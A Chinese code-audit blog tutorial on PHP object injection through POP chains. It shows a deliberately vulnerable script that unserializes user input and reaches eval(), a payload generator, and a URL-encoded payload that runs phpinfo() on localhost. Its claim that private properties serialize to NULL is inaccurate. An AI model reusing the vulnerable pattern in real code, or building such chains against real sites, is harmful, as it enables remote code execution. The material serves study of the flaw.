「Object-Injection」 POP CHAIN构造RCE
in Code-Audit with 0 comment

「Object-Injection」 POP CHAIN构造RCE

in Code-Audit with 0 comment

什么是POP CHAIN

POP:面向属性编程

面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。

ROPPOP

在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,当然进行反序列化的数据能够被用户输入所控制。

利用反序列化和POP CHAIN对象注入

在上篇文章中https://drops.org.cn/index.php/2018/04/03/%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.html
初步了解了序列化和反序列化相关概念和机制。通过一些简单的实例理解反序列化POP 执行链


<?php

class dr0op{
    protected $ClassObj;
    //构造函数
    function __construct()
    {
        $this->ClassObj = new normal();
    }
    function __destruct()
    {
        // TODO: Implement __destruct() method.
        $this->ClassObj->todo();
    }

    function __wakeup()
    {
        // TODO: Implement __wakeup() method.
        echo "function __wakeup function called";
    }
}

class normal{
    public function todo(){
        echo "this is a test!";
    }
}

class evil{
    private $data;
    function todo(){
        eval($this->data);
    }
}
unserialize($_GET['objstr'])
?>

php中在进行反序列化操作时触发魔术方法__weakup(),所以在审计中反序列操作时可以优先查找以下魔术方法

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
 

构造反序列化payload:

<?php
class dr0op{
    protected $ClassObj;
    function __construct()
    {
        $this->ClassObj = new evil();
    }
}

class evil{
   private $data = "phpinfo();";
}
echo urlencode(serialize(new dr0op()));
?>

生成O%3A5%3A%22dr0op%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

分析一下执行链: 首先在执行unserialize时触发__wakeup魔术方法,但魔术方法只进行了打印操作无法继续构造利用,由于unserialize参数可控重定义了反序列化之后的对象dr0opevil的属性。反序列化成功之后__destruct魔术方法中调用$ClassObject,而改熟悉已被我们重现定义,相同的evil类的$data属性也被重新定义。从而成功构造代码执行。

payload

在参数objstr添加生成的序列化字符串
http://127.0.0.1/pop.php?objstr=O%3A5%3A%22dr0op%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

注意点

1,在unserialize一个对象之前,这个对象所对应的类必须已经定义过。在前面的文章中提到过,其实序列化操作中只是保存对象的属性值而不保存对象的方法。因为对象的属性一般保存在堆中而对象方法一般保存在代码栈中。
2,所以在这里反序列化的主要危害是改变了对象的属性及改变了变量达到变量可控从而改变程序流程以达到我们的目的。
3,序列化并不能保存类的私有属性。其内容会被序列化为NULL,在urlencode之后即为%00.

问题

1,为什么unserialize之后会自动调用class的__destruct魔术方法?对象在何时销毁?
这个问题没有为什么,在反序列化构造对象之后,的确会触发__destruct魔术方法。在这里记住即可。至于为什么应该在php的实现或工作原理底层可以回答这个问题。

参考链接

http://www.freebuf.com/column/154530.html
https://www.cnblogs.com/iamstudy/articles/php_unserialize_pop_2.html
http://php.net/manual/zh/language.oop5.serialization.php
https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
http://www.blogsir.com.cn/safe/452.html

Responses